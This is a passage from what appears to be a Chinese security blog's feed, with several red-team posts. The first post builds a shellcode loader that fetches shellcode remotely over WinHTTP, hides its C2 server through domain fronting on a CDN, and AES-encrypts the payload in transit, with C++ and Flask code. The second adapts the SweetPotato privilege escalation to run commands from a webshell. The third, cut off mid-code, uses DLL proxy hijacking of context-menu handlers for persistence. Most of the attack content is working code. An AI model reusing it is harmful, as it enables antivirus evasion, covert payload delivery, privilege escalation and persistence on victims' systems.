<span class="comment">//obtain the html source code</span></span><br><span class="line">    <span class="keyword">if</span> (bResults)</span><br><span class="line">        <span class="keyword">do</span></span><br><span class="line">        &#123;</span><br><span class="line">            <span class="comment">// Check for available data.</span></span><br><span class="line">            dwSize = <span class="number">0</span>;</span><br><span class="line">            <span class="keyword">if</span> (!WinHttpQueryDataAvailable(hRequest, &amp;dwSize))</span><br><span class="line">                <span class="built_in">printf</span>(<span class="string">"Error %u in WinHttpQueryDataAvailable.\n"</span>,</span><br><span class="line">                    GetLastError());</span><br><span class="line">            <span class="comment">// Allocate space for the buffer.</span></span><br><span class="line">            pszOutBuffer = <span class="keyword">new</span> <span class="keyword">char</span>[dwSize + <span class="number">1</span>];</span><br><span class="line">            <span class="keyword">if</span> (!pszOutBuffer)</span><br><span class="line">            &#123;</span><br><span class="line">                <span class="built_in">printf</span>(<span class="string">"Out of memory\n"</span>);</span><br><span class="line">                dwSize = <span class="number">0</span>;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">else</span></span><br><span class="line">            &#123;</span><br><span class="line">                <span class="comment">// Read the Data.</span></span><br><span class="line">                ZeroMemory(pszOutBuffer, dwSize + <span class="number">1</span>);</span><br><span class="line">                <span class="keyword">if</span> (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer,</span><br><span class="line">                    dwSize, &amp;dwDownloaded))</span><br><span class="line">                &#123;</span><br><span class="line">                    <span class="built_in">printf</span>(<span class="string">"Error %u in WinHttpReadData.\n"</span>,</span><br><span class="line">                        GetLastError());</span><br><span class="line">                &#125;</span><br><span class="line">                <span class="keyword">else</span></span><br><span class="line">                &#123;</span><br><span class="line">                    <span class="comment">//printf("%s", pszOutBuffer);</span></span><br><span class="line">                   <span class="comment">// Data in vFileContent</span></span><br><span class="line">                    vFileContent.push_back(pszOutBuffer);</span><br><span class="line"></span><br><span class="line">                &#125;</span><br><span class="line">                <span class="comment">// Free the memory allocated to the buffer.</span></span><br><span class="line">                <span class="keyword">delete</span>[] pszOutBuffer;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">while</span> (dwSize &gt; <span class="number">0</span>);</span><br><span class="line">        <span class="comment">// Keep checking for data until there is nothing left.</span></span><br><span class="line">       <span class="comment">// Report any errors.</span></span><br><span class="line">        <span class="keyword">if</span> (!bResults)</span><br><span class="line">            <span class="built_in">printf</span>(<span class="string">"Error %d has occurred.\n"</span>, GetLastError());</span><br><span class="line">        <span class="comment">// Close any open handles.</span></span><br><span class="line">        <span class="keyword">if</span> (hRequest) WinHttpCloseHandle(hRequest);</span><br><span class="line">        <span class="keyword">if</span> (hConnect) WinHttpCloseHandle(hConnect);</span><br><span class="line">        <span class="keyword">if</span> (hSession) WinHttpCloseHandle(hSession);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; (<span class="keyword">int</span>)vFileContent.size(); i++)</span><br><span class="line">        &#123;</span><br><span class="line">            str = vFileContent[i];</span><br><span class="line">            strHtml += vFileContent[i];</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> strHtml;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如上代码让已有的加载器实现一个远程加载shellcode的功能。</p><h3><span id="domainfronting">DomainFronting</span></h3><p>但是远程加载shellcode容易暴露自己的文件服务器地址，所以这里用到了域前置，可以用来隐藏自己的服务器地址。</p><p><a href="https://dcdn.console.aliyun.com/domain/list" target="_blank" rel="noopener">https://dcdn.console.aliyun.com/domain/list</a></p><p>申请你要加速的域名，例如<code>test.com</code>和源站信息。</p><p>申请完后就可以通过他给你分配cdn地址加上你<code>host: test.com</code>来访问的你地址了。</p><p>如下命令：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wget -U demo -q -O - http://test.com.w.cdngslb.com/ --header &quot;Host: test.com&quot;</span><br></pre></td></tr></table></figure><p>通过域前置的方法可以有效的隐藏我们C2地址或加载器的文件服务器。同时此类CDN地址可能存在于白名单，可用于绕过流量监测。</p><p>这里在修改一个Winhttp实现HTTP请求方法，给它填上一个<code>host</code>头。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="built_in">string</span> <span class="title">GetShellcodeByDomainFronting</span><span class="params">(<span class="built_in">string</span> strUrl)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="built_in">string</span> strHost = GetHost(strUrl);<span class="comment">//获取Host</span></span><br><span class="line">    <span class="built_in">string</span> strRequestStr = GetRequestStr(strUrl);<span class="comment">//获取请求路径</span></span><br><span class="line">    <span class="built_in">string</span> header = <span class="string">"Host: "</span> + strHost + <span class="string">"\r\nContent-type: application/x-www-form-urlencoded\r\nCache-Control: max-age=0\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.8\r\n"</span>;</span><br><span class="line">    strHost = strHost + <span class="string">".w.cdngslb.com"</span>;</span><br><span class="line">    USES_CONVERSION;</span><br><span class="line">    LPCWSTR host = A2CW(strHost.c_str());<span class="comment">//string转换为常量指针类型</span></span><br><span class="line">    LPCWSTR requestStr = A2CW(strRequestStr.c_str());</span><br><span class="line">    <span class="comment">//Variables</span></span><br><span class="line">    DWORD dwSize = <span class="number">0</span>;</span><br><span class="line">    DWORD dwDownloaded = <span class="number">0</span>;</span><br><span class="line">    LPSTR pszOutBuffer;</span><br><span class="line">    <span class="built_in">vector</span> &lt;<span class="built_in">string</span>&gt;  vFileContent;</span><br><span class="line">    BOOL  bResults = FALSE;</span><br><span class="line"></span><br><span class="line">    <span class="comment">//Note the definition of HINTERNET</span></span><br><span class="line">    HINTERNET  hSession = <span class="literal">NULL</span>,</span><br><span class="line">        hConnect = <span class="literal">NULL</span>,</span><br><span class="line">        hRequest = <span class="literal">NULL</span>;</span><br><span class="line">    <span class="built_in">string</span> strHtml = <span class="string">""</span>;<span class="comment">// store the html code</span></span><br><span class="line">    <span class="built_in">string</span> str;<span class="comment">//temporary variables</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// Use WinHttpOpen to obtain a session handle.</span></span><br><span class="line">    hSession = WinHttpOpen(<span class="string">L"User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.104 Safari/537.36 Core/1.53.2141.400 QQBrowser/9.5.10219.400"</span>,</span><br><span class="line">        WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,</span><br><span class="line">        WINHTTP_NO_PROXY_NAME,</span><br><span class="line">        WINHTTP_NO_PROXY_BYPASS, <span class="number">0</span>);</span><br><span class="line">    <span class="comment">// Specify an HTTP server.</span></span><br><span class="line">    <span class="keyword">if</span> (hSession)</span><br><span class="line">        hConnect = WinHttpConnect(hSession, host,</span><br><span class="line">            INTERNET_DEFAULT_HTTP_PORT, <span class="number">0</span>);</span><br><span class="line">    <span class="comment">// Create an HTTP request handle.</span></span><br><span class="line">    <span class="keyword">if</span> (hConnect)</span><br><span class="line">        hRequest = WinHttpOpenRequest(hConnect, <span class="string">L"GET"</span>, requestStr,</span><br><span class="line">            <span class="literal">NULL</span>, WINHTTP_NO_REFERER,</span><br><span class="line">            <span class="literal">NULL</span>,</span><br><span class="line">            <span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">//Add HTTP header </span></span><br><span class="line">    LPCWSTR header1 = A2CW(header.c_str());</span><br><span class="line">    SIZE_T len = lstrlenW(header1);</span><br><span class="line">    WinHttpAddRequestHeaders(hRequest, header1, DWORD(len), WINHTTP_ADDREQ_FLAG_ADD);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Send a request.</span></span><br><span class="line">    <span class="keyword">if</span> (hRequest)</span><br><span class="line">        bResults = WinHttpSendRequest(hRequest,</span><br><span class="line">            WINHTTP_NO_ADDITIONAL_HEADERS,</span><br><span class="line">            <span class="number">0</span>, WINHTTP_NO_REQUEST_DATA, <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>, <span class="number">0</span>);</span><br><span class="line">    <span class="comment">// End the request.</span></span><br><span class="line">    <span class="keyword">if</span> (bResults)</span><br><span class="line">        bResults = WinHttpReceiveResponse(hRequest, <span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">//obtain the html source code</span></span><br><span class="line">    <span class="keyword">if</span> (bResults)</span><br><span class="line">        <span class="keyword">do</span></span><br><span class="line">        &#123;</span><br><span class="line">            <span class="comment">// Check for available data.</span></span><br><span class="line">            dwSize = <span class="number">0</span>;</span><br><span class="line">            <span class="keyword">if</span> (!WinHttpQueryDataAvailable(hRequest, &amp;dwSize))</span><br><span class="line">                <span class="built_in">printf</span>(<span class="string">"Error %u in WinHttpQueryDataAvailable.\n"</span>,</span><br><span class="line">                    GetLastError());</span><br><span class="line">            <span class="comment">// Allocate space for the buffer.</span></span><br><span class="line">            pszOutBuffer = <span class="keyword">new</span> <span class="keyword">char</span>[dwSize + <span class="number">1</span>];</span><br><span class="line">            <span class="keyword">if</span> (!pszOutBuffer)</span><br><span class="line">            &#123;</span><br><span class="line">                <span class="built_in">printf</span>(<span class="string">"Out of memory\n"</span>);</span><br><span class="line">                dwSize = <span class="number">0</span>;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">else</span></span><br><span class="line">            &#123;</span><br><span class="line">                <span class="comment">// Read the Data.</span></span><br><span class="line">                ZeroMemory(pszOutBuffer, dwSize + <span class="number">1</span>);</span><br><span class="line">                <span class="keyword">if</span> (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer,</span><br><span class="line">                    dwSize, &amp;dwDownloaded))</span><br><span class="line">                &#123;</span><br><span class="line">                    <span class="built_in">printf</span>(<span class="string">"Error %u in WinHttpReadData.\n"</span>,</span><br><span class="line">                        GetLastError());</span><br><span class="line">                &#125;</span><br><span class="line">                <span class="keyword">else</span></span><br><span class="line">                &#123;</span><br><span class="line">                    <span class="comment">//printf("%s", pszOutBuffer);</span></span><br><span class="line">                   <span class="comment">// Data in vFileContent</span></span><br><span class="line">                    vFileContent.push_back(pszOutBuffer);</span><br><span class="line"></span><br><span class="line">                &#125;</span><br><span class="line">                <span class="comment">// Free the memory allocated to the buffer.</span></span><br><span class="line">                <span class="keyword">delete</span>[] pszOutBuffer;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">while</span> (dwSize &gt; <span class="number">0</span>);</span><br><span class="line">        <span class="comment">// Keep checking for data until there is nothing left.</span></span><br><span class="line">       <span class="comment">// Report any errors.</span></span><br><span class="line">        <span class="keyword">if</span> (!bResults)</span><br><span class="line">            <span class="built_in">printf</span>(<span class="string">"Error %d has occurred.\n"</span>, GetLastError());</span><br><span class="line">        <span class="comment">// Close any open handles.</span></span><br><span class="line">        <span class="keyword">if</span> (hRequest) WinHttpCloseHandle(hRequest);</span><br><span class="line">        <span class="keyword">if</span> (hConnect) WinHttpCloseHandle(hConnect);</span><br><span class="line">        <span class="keyword">if</span> (hSession) WinHttpCloseHandle(hSession);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; (<span class="keyword">int</span>)vFileContent.size(); i++)</span><br><span class="line">        &#123;</span><br><span class="line">            str = vFileContent[i];</span><br><span class="line">            strHtml += vFileContent[i];</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> strHtml;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3><span id="aes加密">AES加密</span></h3><p>用如上的域前置方法可以有效的隐藏我们的文件服务器，但是在通信过程中，我们shellcode还是会暴露。所以参照冰蝎的原理，我们可以实现一个对shellcode进行一个AES动态加密的过程。</p><h4><span id="客户端c-加载器">客户端（C++ 加载器）</span></h4><p>C++加载器随机生成一个key值，通过HTTP请求，将key发给文件服务器。</p><p>文件服务器收到请求用key值来加密已有的shellcode，回显给客户端。</p><p>C++加载器用cryptopp库，写一个AES解密函数来解密发过来的shellcode。</p><p>如下是AES解密函数：</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">string</span> cryptopp::decrypt(<span class="keyword">const</span> <span class="built_in">string</span>&amp; cipherTextHex)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="built_in">string</span> cipherText;</span><br><span class="line">    <span class="built_in">string</span> decryptedText;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">unsigned</span> <span class="keyword">int</span> i = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">while</span> (<span class="literal">true</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">char</span> c;</span><br><span class="line">        <span class="keyword">int</span> x;</span><br><span class="line">        <span class="built_in">stringstream</span> ss;</span><br><span class="line">        ss &lt;&lt; hex &lt;&lt; cipherTextHex.substr(i, <span class="number">2</span>).c_str();</span><br><span class="line">        ss &gt;&gt; x;</span><br><span class="line">        c = (<span class="keyword">char</span>)x;</span><br><span class="line">        cipherText += c;</span><br><span class="line">        <span class="keyword">if</span> (i &gt;= cipherTextHex.length() - <span class="number">2</span>)<span class="keyword">break</span>;</span><br><span class="line">        i += <span class="number">2</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        CryptoPP::AES::<span class="function">Decryption <span class="title">aesDecryption</span><span class="params">(s_key, CryptoPP::AES::DEFAULT_KEYLENGTH)</span></span>;</span><br><span class="line">        CryptoPP::CBC_Mode_ExternalCipher::<span class="function">Decryption <span class="title">cbcDecryption</span><span class="params">(aesDecryption, s_iv)</span></span>;</span><br><span class="line">        <span class="comment">//CryptoPP::StreamTransformationFilter stfDecryptor(cbcDecryption, new CryptoPP::StringSink( decryptedText ),CryptoPP::StreamTransformationFilter::NO_PADDING);</span></span><br><span class="line">        CryptoPP::StreamTransformationFilter stfDecryptor(cbcDecryption, new CryptoPP::StringSink(decryptedText));</span><br><span class="line">        stfDecryptor.Put(<span class="keyword">reinterpret_cast</span>&lt;<span class="keyword">const</span> <span class="keyword">unsigned</span> <span class="keyword">char</span>*&gt;(cipherText.c_str()), cipherText.size());</span><br><span class="line"></span><br><span class="line">        stfDecryptor.MessageEnd();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">catch</span> (<span class="keyword">const</span> <span class="built_in">std</span>::exception&amp; e) &#123;</span><br><span class="line">        decryptedText = <span class="string">""</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> decryptedText;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4><span id="服务端python-flask">服务端（Python Flask）</span></h4><p>服务端用Flask写一个web服务，获取请求发送过来的key，用这个key对shellcode进行解密，然后回显给客户端。</p><p>AES加密实现方法：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">AES_Encrypt</span><span class="params">(key)</span>:</span></span><br><span class="line">    BS = AES.block_size</span><br><span class="line">    pad = <span class="keyword">lambda</span> s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)</span><br><span class="line">    unpad = <span class="keyword">lambda</span> s : s[<span class="number">0</span>:-ord(s[<span class="number">-1</span>])]</span><br><span class="line"></span><br><span class="line">    key = key <span class="comment"># the length can be (16, 24, 32)</span></span><br><span class="line">    vi = <span class="string">'0000000000000000'</span></span><br><span class="line">    shellcode = <span class="string">''</span></span><br><span class="line"></span><br><span class="line">    cipher = AES.new(key.encode(<span class="string">'utf8'</span>), AES.MODE_CBC, vi.encode(<span class="string">'utf8'</span>))</span><br><span class="line"></span><br><span class="line">    encrypted = cipher.encrypt(pad(shellcode)).encode(<span class="string">'hex'</span>)</span><br><span class="line">    <span class="keyword">return</span> str(encrypted)</span><br></pre></td></tr></table></figure><p>key随机生成，至此就可以实现一个简单AES动态流量加密的过程了。</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h3&gt;&lt;span id=&quot;前言&quot;&gt;前言&lt;/span&gt;&lt;/h3&gt;&lt;p&gt;shellcode加载器加载shellcode实现免杀上线，目前可能是使用最多的方法了。&lt;/p&gt;
&lt;p&gt;现有的加载器也特别多，但是改造轮子的心总是在骚动，所以就开始了Shellcode远程加载器改造计划。&lt;/p
      
    
    </summary>
    
      <category term="笔记" scheme="https://uknowsec.cn/categories/notes/"/>
    
    
  </entry>
  
  <entry>
    <title>SweetPotato webshell下执行命令版</title>
    <link href="https://uknowsec.cn/posts/notes/SweetPotato%20Webshell%E4%B8%8B%E6%89%A7%E8%A1%8C%E5%91%BD%E4%BB%A4%E7%89%88.html"/>
    <id>https://uknowsec.cn/posts/notes/SweetPotato Webshell下执行命令版.html</id>
    <published>2020-04-17T10:09:17.000Z</published>
    <updated>2020-04-17T13:29:50.647Z</updated>
    
    <content type="html"><![CDATA[<h2><span id="sweetpotato-webshell下执行命令版">SweetPotato webshell下执行命令版</span></h2><h3><span id="前言">前言</span></h3><p>前两天看到了github上有老外发了一个C#版的烂土豆，所以就想改一个能在webshell下执行命令的版本。</p><p>请教了@zcgonvh和@RcoIl两位师傅，学习了用管道对进程于进程之间进行通信。感谢两位师傅的耐心指导~</p><h3><span id="管道">管道</span></h3><h4><span id="引用申明">引用申明</span></h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">public struct SECURITY_ATTRIBUTES</span><br><span class="line">&#123;</span><br><span class="line">     public Int32 nLength;</span><br><span class="line">     public IntPtr lpSecurityDescriptor;</span><br><span class="line">     public int bInheritHandle;</span><br><span class="line">&#125;</span><br><span class="line">[DllImport(&quot;kernel32.dll&quot;, SetLastError = true)]</span><br><span class="line">        public static extern bool CreatePipe(ref IntPtr hReadPipe, ref IntPtr hWritePipe, ref SECURITY_ATTRIBUTES lpPipeAttributes, Int32 nSize);</span><br><span class="line"></span><br><span class="line">[DllImport(&quot;kernel32.dll&quot;, SetLastError = true)]</span><br><span class="line">        public static extern bool ReadFile(IntPtr hFile, byte[] lpBuffer, int nNumberOfBytesToRead, ref int lpNumberOfBytesRead, IntPtr lpOverlapped/*IntPtr.Zero*/);</span><br><span class="line">        </span><br><span class="line">[DllImport(&quot;kernel32.dll&quot;, CharSet = CharSet.Auto, SetLastError = true)]</span><br><span class="line">[return: MarshalAs(UnmanagedType.Bool)]</span><br><span class="line">internal static extern Boolean CloseHandle(IntPtr hObject);</span><br></pre></td></tr></table></figure><h4><span id="创建管道">创建管道</span></h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">SECURITY_ATTRIBUTES saAttr = new SECURITY_ATTRIBUTES();</span><br><span class="line">saAttr.nLength = Marshal.SizeOf(typeof(SECURITY_ATTRIBUTES));</span><br><span class="line">saAttr.bInheritHandle = 0x1;</span><br><span class="line">saAttr.lpSecurityDescriptor = IntPtr.Zero;</span><br><span class="line"></span><br><span class="line">if(CreatePipe(ref out_read, ref out_write, ref saAttr, 0))</span><br><span class="line">&#123;</span><br><span class="line">    Console.WriteLine(&quot;[+] CreatePipe success&quot;);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4><span id="新创建进程的标准输出连在写管道一端">新创建进程的标准输出连在写管道一端</span></h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">STARTUPINFO si = new STARTUPINFO();</span><br><span class="line">PROCESS_INFORMATION pi = new PROCESS_INFORMATION();</span><br><span class="line">si.cb = Marshal.SizeOf(si);</span><br><span class="line">si.lpDesktop = @&quot;WinSta0\Default&quot;;</span><br><span class="line">si.hStdOutput = out_write;</span><br><span class="line">si.hStdError = err_write;</span><br><span class="line">si.dwFlags |= STARTF_USESTDHANDLES;</span><br><span class="line">CreateProcessWithTokenW(potatoAPI.Token, 0, program, finalArgs, CREATE_NO_WINDOW, IntPtr.Zero, null, ref si, out pi);</span><br></pre></td></tr></table></figure><h4><span id="读取管道">读取管道</span></h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">CloseHandle(out_write);</span><br><span class="line">byte[] buf = new byte[BUFSIZE];</span><br><span class="line">int dwRead = 0;</span><br><span class="line">while (ReadFile(out_read, buf, BUFSIZE, ref dwRead, IntPtr.Zero))</span><br><span class="line">     &#123;</span><br><span class="line">          byte[] outBytes = new byte[dwRead];</span><br><span class="line">          Array.Copy(buf, outBytes, dwRead);                    </span><br><span class="line">  Console.WriteLine(System.Text.Encoding.Default.GetString(outBytes));</span><br><span class="line">&#125;</span><br><span class="line">CloseHandle(out_read);</span><br></pre></td></tr></table></figure><h3><span id="截图">截图</span></h3><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\ltd.png" alt=""></p><h3><span id="github">github</span></h3><p><a href="https://github.com/uknowsec/SweetPotato" target="_blank" rel="noopener">https://github.com/uknowsec/SweetPotato</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h2&gt;&lt;span id=&quot;sweetpotato-webshell下执行命令版&quot;&gt;SweetPotato webshell下执行命令版&lt;/span&gt;&lt;/h2&gt;&lt;h3&gt;&lt;span id=&quot;前言&quot;&gt;前言&lt;/span&gt;&lt;/h3&gt;&lt;p&gt;前两天看到了github上有老外发了一个C#版的烂
      
    
    </summary>
    
      <category term="笔记" scheme="https://uknowsec.cn/categories/notes/"/>
    
    
  </entry>
  
  <entry>
    <title>DLL劫持右键菜单实现持久化</title>
    <link href="https://uknowsec.cn/posts/notes/DLL%E5%8A%AB%E6%8C%81%E5%8F%B3%E9%94%AE%E8%8F%9C%E5%8D%95%E5%AE%9E%E7%8E%B0%E6%8C%81%E4%B9%85%E5%8C%96.html"/>
    <id>https://uknowsec.cn/posts/notes/DLL劫持右键菜单实现持久化.html</id>
    <published>2020-04-13T10:09:17.000Z</published>
    <updated>2020-04-13T12:36:00.600Z</updated>
    
    <content type="html"><![CDATA[<h3><span id="dll代理">DLL代理</span></h3><p>如下图，DLL代理是通过创建一个恶意的DLL来替换原有程序的DLL，同时不删除原有程序的DLL，将其重命名。恶意的DLL在被调用的时候会运行恶意的代码功能，并把原有的DLL功能部分转发给原始DLL，这样更好的确保原有程序的功能正常运行且不被迫坏。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1586780770334.png" alt="1586780770334"></p><h3><span id="右键菜单注册表">右键菜单注册表</span></h3><p>注册表路径：HKLM\Software\Classes*\ShellEx\ContextMenuHandlers</p><p>利用<code>autoruns</code>可以查看此注册表路径中加载的DLL文件。</p><p>同样也可以对其他自启动注册表里的dll文件进行劫持。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1586762524303.png" alt=""></p><p>我们可以用<code>C#</code>实现一个小程序来读取可劫持的DLL。代码如下：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br></pre></td><td class="code"><pre><span class="line">using Microsoft.Win32;</span><br><span class="line">using System;</span><br><span class="line">using System.Collections.Generic;</span><br><span class="line">using System.Linq;</span><br><span class="line">using System.Text;</span><br><span class="line"></span><br><span class="line">namespace dll</span><br><span class="line">&#123;</span><br><span class="line">    class Program</span><br><span class="line">    &#123;</span><br><span class="line">        static void Main(string[] args)</span><br><span class="line">        &#123;</span><br><span class="line">            GetKey(@&quot;Software\Classes\*\ShellEx\ContextMenuHandlers\&quot;);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        private static void GetKey(string path)</span><br><span class="line">        &#123;</span><br><span class="line"></span><br><span class="line">            using (RegistryKey key = Registry.LocalMachine.OpenSubKey(path))</span><br><span class="line">            &#123;</span><br><span class="line">                if (key != null)</span><br><span class="line">                &#123;</span><br><span class="line"></span><br><span class="line">                    string[] rk = key.GetSubKeyNames();</span><br><span class="line">                    foreach (var item in rk)</span><br><span class="line">                    &#123;</span><br><span class="line"></span><br><span class="line">                        string value = GetRegistryValue(path + item);</span><br><span class="line">                        string imgpath = 